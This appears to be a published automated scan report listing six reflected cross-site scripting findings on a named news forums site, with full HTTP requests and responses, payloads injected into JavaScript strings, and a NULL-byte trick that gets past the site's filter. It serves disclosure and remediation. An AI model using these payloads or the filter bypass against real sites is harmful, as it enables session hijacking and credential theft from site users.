Report generated by XSS.CX at Tue Dec 07 18:18:00 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://forums.mercurynews.com/ [name of an arbitrarily supplied request parameter]

1.2. http://forums.mercurynews.com/forums/forum/673 [REST URL parameter 1]

1.3. http://forums.mercurynews.com/forums/forum/673 [REST URL parameter 2]

1.4. http://forums.mercurynews.com/forums/forum/673 [REST URL parameter 3]

1.5. http://forums.mercurynews.com/forums/poll [REST URL parameter 1]

1.6. http://forums.mercurynews.com/forums/poll [REST URL parameter 2]



1. Cross-site scripting (reflected)
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://forums.mercurynews.com/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d467a"-alert(1)-"03e35f549b3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?d467a"-alert(1)-"03e35f549b3=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 07 Dec 2010 23:22:37 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=2e0950b18f0a572e7481e5cde043e951; expires=Fri, 31 Dec 2010 02:55:57 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Tue, 07 Dec 2010 23:23:01 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 50791

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
pt language="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / ?d467a"-alert(1)-"03e35f549b3=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.2. http://forums.mercurynews.com/forums/forum/673 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/forum/673

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 56572"-alert(1)-"621f5ac4ac2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forums56572"-alert(1)-"621f5ac4ac2/forum/673 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Tue, 07 Dec 2010 23:23:38 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=ec1c09332ac64b0fae804f497fbfbb01; expires=Fri, 31 Dec 2010 02:56:58 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Tue, 07 Dec 2010 23:24:02 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22005

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
nguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums56572"-alert(1)-"621f5ac4ac2/forum/673";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campai
...[SNIP]...

1.3. http://forums.mercurynews.com/forums/forum/673 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/forum/673

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %006668f"-alert(1)-"f958950ecdc was submitted in the REST URL parameter 2. This input was echoed as 6668f"-alert(1)-"f958950ecdc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/forum%006668f"-alert(1)-"f958950ecdc/673 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Tue, 07 Dec 2010 23:23:52 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=297d55a81cf374e982219cba8d6b899a; expires=Fri, 31 Dec 2010 02:57:12 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Tue, 07 Dec 2010 23:24:16 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21961

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
avaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/forum%006668f"-alert(1)-"f958950ecdc/673";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=get
...[SNIP]...

1.4. http://forums.mercurynews.com/forums/forum/673 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/forum/673

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %007404b"-alert(1)-"cb08f69ef9b was submitted in the REST URL parameter 3. This input was echoed as 7404b"-alert(1)-"cb08f69ef9b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/forum/673%007404b"-alert(1)-"cb08f69ef9b HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Tue, 07 Dec 2010 23:24:10 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=4590668b3373517d1e43091bd1b5ab3d; expires=Fri, 31 Dec 2010 02:57:30 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Tue, 07 Dec 2010 23:24:34 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21961

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
cript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/forum/673%007404b"-alert(1)-"cb08f69ef9b";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.5. http://forums.mercurynews.com/forums/poll [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/poll

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e08f7"-alert(1)-"5560a98aa55 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forumse08f7"-alert(1)-"5560a98aa55/poll HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Tue, 07 Dec 2010 23:23:16 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=3b738ddcb7ec5f357dbd9a144257d329; expires=Fri, 31 Dec 2010 02:56:36 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Tue, 07 Dec 2010 23:23:40 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21993

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
nguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forumse08f7"-alert(1)-"5560a98aa55/poll";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=ge
...[SNIP]...

1.6. http://forums.mercurynews.com/forums/poll [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/poll

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %00c9c0e"-alert(1)-"a62518d6b65 was submitted in the REST URL parameter 2. This input was echoed as c9c0e"-alert(1)-"a62518d6b65 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/poll%00c9c0e"-alert(1)-"a62518d6b65 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Tue, 07 Dec 2010 23:23:31 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=2d85e4ba2b8771b61f67c399df560935; expires=Fri, 31 Dec 2010 02:56:51 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Tue, 07 Dec 2010 23:23:55 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21956

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/poll%00c9c0e"-alert(1)-"a62518d6b65";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

Report generated by XSS.CX at Tue Dec 07 18:18:00 CST 2010.